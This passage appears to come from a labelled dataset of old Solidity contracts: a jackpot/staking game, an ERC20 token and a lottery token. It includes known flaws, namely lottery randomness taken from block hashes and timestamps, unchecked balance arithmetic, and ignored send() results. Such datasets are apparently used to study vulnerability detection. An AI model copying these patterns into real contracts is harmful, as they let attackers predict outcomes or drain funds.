(_amount, _withdrawSid, _reachAmount, _finish) = getEarningsAmountByGoodsIndex(_playerGoodsList[i]);
if(_finish == true){
playerWithdrawList[_player].push(_playerGoodsList[i]);
}else{
goodsList[_playerGoodsList[i]].withdrawSid = _withdrawSid;
goodsList[_playerGoodsList[i]].reachAmount = _reachAmount;
playerGoodsList[_player].push(_playerGoodsList[i]);
}
_totalAmount = _totalAmount.add(_amount);
i++;
}
_player.transfer(_totalAmount);
}
function withdrawByGid(uint256 _gId)
isActivated()
senderVerify()
playerVerify()
public
{
address _player = msg.sender;
uint256 _amount;
uint256 _withdrawSid;
uint256 _reachAmount;
bool _finish;
(_amount, _withdrawSid, _reachAmount, _finish) = getEarningsAmountByGoodsIndex(_gId);
if(_finish == true){
for(uint256 i = 0; i < playerGoodsList[_player].length; i++){
if(playerGoodsList[_player][i] == _gId)
break;
}
require(i < playerGoodsList[_player].length, "gid is wrong");
playerWithdrawList[_player].push(_gId);
playerGoodsList[_player][i] = playerGoodsList[_player][playerGoodsList[_player].length - 1];
playerGoodsList[_player].length--;
}else{
goodsList[_gId].withdrawSid = _withdrawSid;
goodsList[_gId].reachAmount = _reachAmount;
}
_player.transfer(_amount);
}
function resetTime()
modifyCountdownVerify()
senderVerify()
public
payable
{
uint256 _rId = rId;
uint256 _sId = sId;
uint256 _amount = msg.value;
uint256 _targetExpectedAmount = getStageTargetAmount(_sId);
uint256 _targetAmount =
stage[_rId][_sId].dividendAmount <= _targetExpectedAmount ?
_targetExpectedAmount : stage[_rId][_sId].dividendAmount;
_targetAmount = _targetAmount.mul(100) / 88;
uint256 _costAmount = _targetAmount.mul(20) / 100;
if(_costAmount > 3 ether)
_costAmount = 3 ether;
require(_amount >= _costAmount, "Not enough price");
stage[_rId][_sId].start = now;
cardList[5].playerAddress.send(_costAmount / 2);
developerAddr.send(_costAmount / 2);
if(_amount > _costAmount)
msg.sender.send(_amount.sub(_costAmount));
}
function reduceTime()
modifyCountdownVerify()
senderVerify()
public
payable
{
uint256 _rId = rId;
uint256 _sId = sId;
uint256 _amount = msg.value;
uint256 _targetExpectedAmount = getStageTargetAmount(_sId);
uint256 _targetAmount =
stage[_rId][_sId].dividendAmount <= _targetExpectedAmount ?
_targetExpectedAmount : stage[_rId][_sId].dividendAmount;
_targetAmount = _targetAmount.mul(100) / 88;
uint256 _costAmount = _targetAmount.mul(30) / 100;
if(_costAmount > 3 ether)
_costAmount = 3 ether;
require(_amount >= _costAmount, "Not enough price");
stage[_rId][_sId].start = now - stageDuration + 1800;
cardList[5].playerAddress.send(_costAmount / 2);
developerAddr.send(_costAmount / 2);
if(_amount > _costAmount)
msg.sender.send(_amount.sub(_costAmount));
}
function buyAnalysis(uint256 _stepSize, uint256 _protectRatio, address _recommendAddr)
private
{
uint256 _rId = rId;
uint256 _sId = sId;
uint256 _targetExpectedAmount = getStageTargetAmount(_sId);
uint256 _targetAmount =
stage[_rId][_sId].dividendAmount <= _targetExpectedAmount ?
_targetExpectedAmount : stage[_rId][_sId].dividendAmount;
_targetAmount = _targetAmount.mul(100) / 88;
uint256 _stageTargetBalance =
stage[_rId][_sId].amount > 0 ?
_targetAmount.sub(stage[_rId][_sId].amount) : _targetAmount;
if(now > stage[_rId][_sId].start.add(stageDuration)
&& _targetAmount > stage[_rId][_sId].amount
){
endRound(_rId, _sId);
_rId = rId;
_sId = sId;
stage[_rId][_sId].start = now;
_targetExpectedAmount = getStageTargetAmount(_sId);
_targetAmount =
stage[_rId][_sId].dividendAmount <= _targetExpectedAmount ?
_targetExpectedAmount : stage[_rId][_sId].dividendAmount;
_targetAmount = _targetAmount.mul(100) / 88;
_stageTargetBalance =
stage[_rId][_sId].amount > 0 ?
_targetAmount.sub(stage[_rId][_sId].amount) : _targetAmount;
}
if(_stageTargetBalance > msg.value)
buyDataRecord(
_rId,
_sId,
_targetAmount,
msg.value,
_stepSize,
_protectRatio
);
else
multiStake(
msg.value,
_stepSize,
_protectRatio,
_targetAmount,
_stageTargetBalance
);
require(
(
round[_rId].jackpotAmount.add(round[_rId].amount.mul(88) / 100)
.sub(round[_rId].protectAmount)
.sub(round[_rId].dividendAmount)
) > 0, "data error"
);
bankerFeeDataRecord(_recommendAddr, msg.value, _protectRatio);
}
function multiStake(uint256 _amount, uint256 _stepSize, uint256 _protectRatio, uint256 _targetAmount, uint256 _stageTargetBalance)
private
{
uint256 _rId = rId;
uint256 _sId = sId;
uint256 _crossStageNum = 1;
uint256 _protectTotalAmount;
uint256 _dividendTotalAmount;
while(true){
if(_crossStageNum == 1){
playerDataRecord(
_rId,
_sId,
_amount,
_stageTargetBalance,
_stepSize,
_protectRatio,
_crossStageNum
);
round[_rId].amount = round[_rId].amount.add(_amount);
round[_rId].protectAmount = round[_rId].protectAmount.add(
_amount.mul(_protectRatio.mul(88)) / 10000);
}
buyStageDataRecord(
_rId,
_sId,
_targetAmount,
_stageTargetBalance,
_sId.
add(_stepSize),
_protectRatio
);
_dividendTotalAmount = _dividendTotalAmount.add(stage[_rId][_sId].dividendAmount);
_protectTotalAmount = _protectTotalAmount.add(stage[_rId][_sId].protectAmount);
_sId++;
_amount = _amount.sub(_stageTargetBalance);
_targetAmount =
stage[_rId][_sId].dividendAmount <= getStageTargetAmount(_sId) ?
getStageTargetAmount(_sId) : stage[_rId][_sId].dividendAmount;
_targetAmount = _targetAmount.mul(100) / 88;
_stageTargetBalance = _targetAmount;
_crossStageNum++;
if(_stageTargetBalance >= _amount){
buyStageDataRecord(
_rId,
_sId,
_targetAmount,
_amount,
_sId.add(_stepSize),
_protectRatio
);
playerDataRecord(
_rId,
_sId,
0,
_amount,
_stepSize,
_protectRatio,
_crossStageNum
);
if(_targetAmount == _amount)
_sId++;
stage[_rId][_sId].start = now;
sId = _sId;
round[_rId].protectAmount = round[_rId].protectAmount.sub(_protectTotalAmount);
round[_rId].dividendAmount = round[_rId].dividendAmount.add(_dividendTotalAmount);
break;
}
}
}
function buyDataRecord(uint256 _rId, uint256 _sId, uint256 _targetAmount, uint256 _amount, uint256 _stepSize, uint256 _protectRatio)
private
{
uint256 _expectEndSid = _sId.add(_stepSize);
uint256 _protectAmount = _amount.mul(_protectRatio.mul(88)) / 10000;
round[_rId].amount = round[_rId].amount.add(_amount);
round[_rId].protectAmount = round[_rId].protectAmount.add(_protectAmount);
stage[_rId][_sId].amount = stage[_rId][_sId].amount.add(_amount);
stage[_rId][_expectEndSid].protectAmount = stage[_rId][_expectEndSid].protectAmount.add(_protectAmount);
stage[_rId][_expectEndSid].dividendAmount =
stage[_rId][_expectEndSid].dividendAmount.add(
computeEarningsAmount(_sId,
_amount,
_targetAmount,
_expectEndSid,
100 - _protectRatio
)
);
FBankdatasets.Goods memory _goods;
_goods.rId = _rId;
_goods.startSid = _sId;
_goods.amount = _amount;
_goods.endSid = _expectEndSid;
_goods.protectRatio = _protectRatio;
playerGoodsList[msg.sender].push(goodsList.push(_goods) - 1);
}
function buyStageDataRecord(uint256 _rId, uint256 _sId, uint256 _targetAmount, uint256 _amount, uint256 _expectEndSid, uint256 _protectRatio)
private
{
uint256 _protectAmount = _amount.mul(_protectRatio.mul(88)) / 10000;
if(_targetAmount != _amount)
stage[_rId][_sId].amount = stage[_rId][_sId].amount.add(_amount);
stage[_rId][_expectEndSid].protectAmount = stage[_rId][_expectEndSid].protectAmount.add(_protectAmount);
stage[_rId][_expectEndSid].dividendAmount =
stage[_rId][_expectEndSid].dividendAmount.add(
computeEarningsAmount(
_sId,
_amount,
_targetAmount,
_expectEndSid,
100 - _protectRatio
)
);
}
function playerDataRecord(uint256 _rId, uint256 _sId, uint256 _totalAmount, uint256 _stageBuyAmount, uint256 _stepSize, uint256 _protectRatio, uint256 _crossStageNum)
private
{
if(_crossStageNum <= 1){
FBankdatasets.Goods memory _goods;
_goods.rId = _rId;
_goods.startSid = _sId;
_goods.amount = _totalAmount;
_goods.stepSize = _stepSize;
_goods.protectRatio = _protectRatio;
if(_crossStageNum == 1)
_goods.startAmount = _stageBuyAmount;
playerGoodsList[msg.sender].push(goodsList.push(_goods) - 1);
}
else{
uint256 _goodsIndex = goodsList.length - 1;
goodsList[_goodsIndex].endAmount = _stageBuyAmount;
goodsList[_goodsIndex].endSid = _sId;
}
}
function bankerFeeDataRecord(address _recommendAddr, uint256 _amount, uint256 _protectRatio)
private
{
uint256 _jackpotProportion = 80;
if(_recommendAddr != address(0)
&& _recommendAddr != msg.sender
&& (register[_recommendAddr] != bytes32(0))
){
_recommendAddr.send(_amount / 50);
msg.sender.send(_amount / 100);
}
else
_jackpotProportion = 110;
round[rId].jackpotAmount = round[rId].jackpotAmount.add(_amount.mul(_jackpotProportion).div(1000));
uint256 _cardAmount = _amount / 200;
if(_protectRatio == 0)
cardList[0].playerAddress.send(_cardAmount);
else if(_protectRatio > 0 && _protectRatio < 57)
cardList[1].playerAddress.send(_cardAmount);
else if(_protectRatio == 57)
cardList[2].playerAddress.send(_cardAmount);
else if(_protectRatio > 57 && _protectRatio < 100)
cardList[3].playerAddress.send(_cardAmount);
else if(_protectRatio == 100)
cardList[4].playerAddress.send(_cardAmount);
developerAddr.send(_amount / 200);
}
function endRound(uint256 _rId, uint256 _sId)
private
{
round[_rId].end = now;
round[_rId].ended = true;
round[_rId].endSid = _sId;
if(stage[_rId][_sId].amount > 0)
round[_rId + 1].jackpotAmount = (
round[_rId].jackpotAmount.add(round[_rId].amount.mul(88) / 100)
.sub(round[_rId].protectAmount)
.sub(round[_rId].dividendAmount)
).mul(20).div(100);
else
round[_rId + 1].jackpotAmount = (
round[_rId].jackpotAmount.add(round[_rId].amount.mul(88) / 100)
.sub(round[_rId].protectAmount)
.sub(round[_rId].dividendAmount)
);
round[_rId + 1].start = now;
rId++;
sId = 1;
}
function getStageTargetAmount(uint256 _sId)
public
view
returns(uint256)
{
return bankCompute.getStageTargetAmount(_sId);
}
function computeEarningsAmount(uint256 _sId, uint256 _amount, uint256 _currentTargetAmount, uint256 _expectEndSid, uint256 _ratio)
public
view
returns(uint256)
{
return bankCompute.computeEarningsAmount(_sId, _amount, _currentTargetAmount, _expectEndSid, _ratio);
}
function getEarningsAmountByGoodsIndex(uint256 _goodsIndex)
public
view
returns(uint256, uint256, uint256, bool)
{
FBankdatasets.Goods memory _goods = goodsList[_goodsIndex];
uint256 _sId = sId;
uint256 _amount;
uint256 _targetExpectedAmount;
uint256 _targetAmount;
if(_goods.stepSize == 0){
if(round[_goods.rId].ended == true){
if(round[_goods.rId].endSid > _goods.endSid){
_targetExpectedAmount = getStageTargetAmount(_goods.startSid);
_targetAmount =
stage[_goods.rId][_goods.startSid].dividendAmount <= _targetExpectedAmount ?
_targetExpectedAmount : stage[_goods.rId][_goods.startSid].dividendAmount;
_targetAmount = _targetAmount.mul(100) / 88;
_amount = computeEarningsAmount(
_goods.startSid,
_goods.amount,
_targetAmount,
_goods.endSid,
100 - _goods.protectRatio
);
}else
_amount = _goods.amount.mul(_goods.protectRatio.mul(88)) / 10000;
if(round[_goods.rId].endSid == _goods.startSid)
_amount = _amount.add(
_goods.amount.mul(
getRoundJackpot(_goods.rId)
).div(stage[_goods.rId][_goods.startSid].amount)
);
return (_amount, 0, 0, true);
}else{
if(_sId > _goods.endSid){
_targetExpectedAmount = getStageTargetAmount(_goods.startSid);
_targetAmount =
stage[_goods.rId][_goods.startSid].dividendAmount <= _targetExpectedAmount ?
_targetExpectedAmount : stage[_goods.rId][_goods.startSid].dividendAmount;
_targetAmount = _targetAmount.mul(100) / 88;
_amount = computeEarningsAmount(
_goods.startSid,
_goods.amount,
_targetAmount,
_goods.endSid,
100 - _goods.protectRatio
);
}else
return (0, 0, 0, false);
}
return (_amount, 0, 0, true);
}else{
uint256 _startSid = _goods.withdrawSid == 0 ? _goods.startSid : _goods.withdrawSid;
uint256 _ratio = 100 - _goods.protectRatio;
uint256 _reachAmount = _goods.reachAmount;
if(round[_goods.rId].ended == true){
while(true){
if(_startSid - (_goods.withdrawSid == 0 ? _goods.startSid : _goods.withdrawSid) > 100){
return (_amount, _startSid, _reachAmount, false);
}
if(round[_goods.rId].endSid > _startSid.add(_goods.stepSize)){
_targetExpectedAmount = getStageTargetAmount(_startSid);
_targetAmount =
stage[_goods.rId][_startSid].dividendAmount <= _targetExpectedAmount ?
_targetExpectedAmount : stage[_goods.rId][_startSid].dividendAmount;
_targetAmount = _targetAmount.mul(100) / 88;
if(_startSid == _goods.endSid){
_amount = _amount.add(
computeEarningsAmount(
_startSid,
_goods.endAmount,
_targetAmount,
_startSid.add(_goods.stepSize),
_ratio
)
);
return (_amount, _goods.endSid, 0, true);
}
_amount = _amount.add(
computeEarningsAmount(
_startSid,
_startSid == _goods.startSid ? _goods.startAmount : _targetAmount,
_targetAmount,
_startSid.add(_goods.stepSize),
_ratio
)
);
_reachAmount =
_reachAmount.add(
_startSid == _goods.startSid ? _goods.startAmount : _targetAmount
);
}else{
_amount = _amount.add(
(_goods.amount.sub(_reachAmount))
.mul(_goods.protectRatio.mul(88)) / 10000
);
if(round[_goods.rId].endSid == _goods.endSid)
_amount = _amount.add(
_goods.endAmount.mul(getRoundJackpot(_goods.rId))
.div(stage[_goods.rId][_goods.endSid].amount)
);
return (_amount, _goods.endSid, 0, true);
}
_startSid++;
}
}else{
while(true){
if(_startSid - (_goods.withdrawSid == 0 ? _goods.startSid : _goods.withdrawSid) > 100){
return (_amount, _startSid, _reachAmount, false);
}
if(_sId > _startSid.add(_goods.stepSize)){
_targetExpectedAmount = getStageTargetAmount(_startSid);
_targetAmount =
stage[_goods.rId][_startSid].dividendAmount <= _targetExpectedAmount ?
_targetExpectedAmount : stage[_goods.rId][_startSid].dividendAmount;
_targetAmount = _targetAmount.mul(100) / 88;
if(_startSid == _goods.endSid){
_amount = _amount.add(
computeEarningsAmount(
_startSid,
_goods.endAmount,
_targetAmount,
_startSid.add(_goods.stepSize),
_ratio
)
);
return (_amount, _goods.endSid, 0, true);
}
_amount = _amount.add(
computeEarningsAmount(
_startSid,
_startSid == _goods.startSid ? _goods.startAmount : _targetAmount,
_targetAmount,
_startSid.add(_goods.stepSize),
_ratio
)
);
_reachAmount =
_reachAmount.add(
_startSid == _goods.startSid ?
_goods.startAmount : _targetAmount
);
}else
return (_amount, _startSid, _reachAmount, false);
_startSid++;
}
}
}
}
function getRoundJackpot(uint256 _rId)
public
view
returns(uint256)
{
return (
(
round[_rId].jackpotAmount
.add(round[_rId].amount.mul(88) / 100))
.sub(round[_rId].protectAmount)
.sub(round[_rId].dividendAmount)
).mul(80).div(100);
}
function getHeadInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256)
{
uint256 _targetExpectedAmount = getStageTargetAmount(sId);
return
(
rId,
sId,
stage[rId][sId].start.add(stageDuration),
stage[rId][sId].amount,
(
stage[rId][sId].dividendAmount <= _targetExpectedAmount ?
_targetExpectedAmount : stage[rId][sId].dividendAmount
).mul(100) / 88,
round[rId].jackpotAmount.add(round[rId].amount.mul(88) / 100)
.sub(round[rId].protectAmount)
.sub(round[rId].dividendAmount)
);
}
function getPlayerGoodList(address _player)
public
view
returns(uint256[])
{
return playerGoodsList[_player];
}
function totalSupply()
public
view
returns (uint256 total)
{
return cardList.length;
}
function balanceOf(address _owner)
public
view
returns (uint256 balance)
{
uint256 _length = cardList.length;
uint256 _count;
for(uint256 i = 0; i < _length; i++){
if(cardList[i].playerAddress == _owner)
_count++;
}
return _count;
}
function ownerOf(uint256 _tokenId)
public
view
returns (address owner)
{
require(cardList.length > _tokenId, "tokenId error");
owner = cardList[_tokenId].playerAddress;
require(owner != address(0), "No owner");
}
function approve(address _to, uint256 _tokenId)
senderVerify()
public
{
require (register[_to] != bytes32(0), "Not a registered user");
require (msg.sender == cardList[_tokenId].playerAddress, "The card does not belong to you");
require (cardList.length > _tokenId, "tokenId error");
require (cardIndexToApproved[_tokenId] == address(0), "Approved");
cardIndexToApproved[_tokenId] = _to;
emit Approval(msg.sender, _to, _tokenId);
}
function takeOwnership(uint256 _tokenId)
senderVerify()
public
{
address _newOwner = msg.sender;
address _oldOwner = cardList[_tokenId].playerAddress;
require(_newOwner != address(0), "Address error");
require(_newOwner == cardIndexToApproved[_tokenId], "Without permission");
cardList[_tokenId].playerAddress = _newOwner;
delete cardIndexToApproved[_tokenId];
emit Transfer(_oldOwner, _newOwner, _tokenId);
}
function transfer(address _to, uint256 _tokenId)
senderVerify()
public
{
require (msg.sender == cardList[_tokenId].playerAddress, "The card does not belong to you");
require(_to != address(0), "Address error");
require(_to == cardIndexToApproved[_tokenId], "Without permission");
cardList[_tokenId].playerAddress = _to;
if(cardIndexToApproved[_tokenId] != address(0))
delete cardIndexToApproved[_tokenId];
emit Transfer(msg.sender, _to, _tokenId);
}
function transferFrom(address _from, address _to, uint256 _tokenId)
senderVerify()
public
{
require (_from == cardList[_tokenId].playerAddress, "Owner error");
require(_to != address(0), "Address error");
require(_to == cardIndexToApproved[_tokenId], "Without permission");
cardList[_tokenId].playerAddress = _to;
delete cardIndexToApproved[_tokenId];
emit Transfer(_from, _to, _tokenId);
}
}
library FBankdatasets {
struct Round {
uint256 start;
uint256 end;
bool ended;
uint256 endSid;
uint256 amount;
uint256 protectAmount;
uint256 dividendAmount;
uint256 jackpotAmount;
}
struct Stage {
uint256 start;
uint256 amount;
uint256 protectAmount;
uint256 dividendAmount;
}
struct Goods {
uint256 rId;
uint256 startSid;
uint256 endSid;
uint256 withdrawSid;
uint256 amount;
uint256 startAmount;
uint256 endAmount;
uint256 reachAmount;
uint256 stepSize;
uint256 protectRatio;
}
struct Card {
address playerAddress;
uint256 amount;
}
}
interface FairBankCompute {
function getStageTargetAmount(uint256 _sId) external view returns(uint256);
function computeEarningsAmount(uint256 _sId, uint256 _amount, uint256 _currentTargetAmount, uint256 _expectEndSid, uint256 _ratio) external view returns(uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 3, "string must be between 4 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
for (uint256 i = 0; i < _length; i++)
{
require
(
(_temp[i] > 0x40 && _temp[i] < 0x5b) ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
}
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function add(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
assert(b <= a);
return a - b;
}
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 2,070 |
pragma solidity ^0.4.25;
contract ForeignToken {
function balanceOf(address _owner) public constant returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract LiteCoin_Smart is ERC20 {
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply = 84000000 * 10000;
function name() public constant returns (string) { return "LiteCoin Smart"; }
function symbol() public constant returns (string) { return "LTCS"; }
function decimals() public constant returns (uint8) { return 4; }
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event DistrFinished();
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
function LiteCoin_Smart() public {
owner = msg.sender;
balances[msg.sender] = totalSupply;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
function getEthBalance(address _addr) constant public returns(uint) {
return _addr.balance;
}
function distributeLTCS(address[] addresses, uint256 _value, uint256 _ethbal) onlyOwner canDistr public {
for (uint i = 0; i < addresses.length; i++) {
if (getEthBalance(addresses[i]) < _ethbal) {
continue;
}
balances[owner] -= _value;
balances[addresses[i]] += _value;
emit Transfer(owner, addresses[i], _value);
}
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
if (balances[msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[msg.sender] -= _amount;
balances[_to] += _amount;
emit Transfer(msg.sender, _to, _amount);
return true;
} else {
return false;
}
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
if (balances[_from] >= _amount
&& allowed[_from][msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[_from] -= _amount;
allowed[_from][msg.sender] -= _amount;
balances[_to] += _amount;
emit Transfer(_from, _to, _amount);
return true;
} else {
return false;
}
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function finishDistribution() onlyOwner public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function withdrawForeignTokens(address _tokenContract) public returns (bool) {
require(msg.sender == owner);
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
} | 1 | 4,452 |
pragma solidity ^0.4.11;
contract LOTT {
string public name = 'LOTT';
string public symbol = 'LOTT';
uint8 public decimals = 18;
uint256 public totalSupply = 1000000000000000000000000;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
address public owner;
uint public price = 10000000000000000000;
uint public fee = 256000000000000000000;
uint public currentRound = 0;
uint8 public placesSold;
uint[] public places = [
768000000000000000000,
614400000000000000000,
460800000000000000000,
307200000000000000000,
153600000000000000000
];
uint public rand1;
uint8 public rand2;
mapping (uint => mapping (uint8 => address)) public map;
mapping (address => uint256) public gameBalanceOf;
event Transfer(address indexed from, address indexed to, uint256 value);
event BalanceChange(address receiver, uint newBalance);
event RoundChange(uint newRound);
event Place(uint round, uint8 place, address backer);
event Finish(uint round, uint8 place1, uint8 place2, uint8 place3, uint8 place4, uint8 place5);
function LOTT() public {
balanceOf[msg.sender] = totalSupply;
owner = msg.sender;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) external {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) external returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function withdraw() external {
require(gameBalanceOf[msg.sender] > 0);
_transfer(this, msg.sender, gameBalanceOf[msg.sender]);
gameBalanceOf[msg.sender] = 0;
BalanceChange(msg.sender, 0);
}
function place(uint8 cell) external {
require(map[currentRound][cell] == 0x0);
_transfer(msg.sender, this, price);
map[currentRound][cell] = msg.sender;
Place(currentRound, cell, msg.sender);
rand1 += uint(msg.sender) + block.timestamp;
rand2 -= uint8(msg.sender);
if (placesSold < 255) {
placesSold++;
} else {
placesSold = 0;
bytes32 hashRel = bytes32(uint(block.blockhash(block.number - rand2 - 1)) + block.timestamp + rand1);
uint8 place1 = uint8(hashRel[31]);
uint8 place2 = uint8(hashRel[30]);
uint8 place3 = uint8(hashRel[29]);
uint8 place4 = uint8(hashRel[28]);
uint8 place5 = uint8(hashRel[27]);
if (place2 == place1) {
place2++;
}
if (place3 == place1) {
place3++;
}
if (place3 == place2) {
place3++;
}
if (place4 == place1) {
place4++;
}
if (place4 == place2) {
place4++;
}
if (place4 == place3) {
place4++;
}
if (place5 == place1) {
place5++;
}
if (place5 == place2) {
place5++;
}
if (place5 == place3) {
place5++;
}
if (place5 == place4) {
place5++;
}
gameBalanceOf[map[currentRound][place1]] += places[0];
gameBalanceOf[map[currentRound][place2]] += places[1];
gameBalanceOf[map[currentRound][place3]] += places[2];
gameBalanceOf[map[currentRound][place4]] += places[3];
gameBalanceOf[map[currentRound][place5]] += places[4];
gameBalanceOf[owner] += fee;
BalanceChange(map[currentRound][place1], gameBalanceOf[map[currentRound][place1]]);
BalanceChange(map[currentRound][place2], gameBalanceOf[map[currentRound][place2]]);
BalanceChange(map[currentRound][place3], gameBalanceOf[map[currentRound][place3]]);
BalanceChange(map[currentRound][place4], gameBalanceOf[map[currentRound][place4]]);
BalanceChange(map[currentRound][place5], gameBalanceOf[map[currentRound][place5]]);
BalanceChange(owner, gameBalanceOf[owner]);
Finish(currentRound, place1, place2, place3, place4, place5);
currentRound++;
RoundChange(currentRound);
}
}
} | 1 | 5,430 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract YIELDToken {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
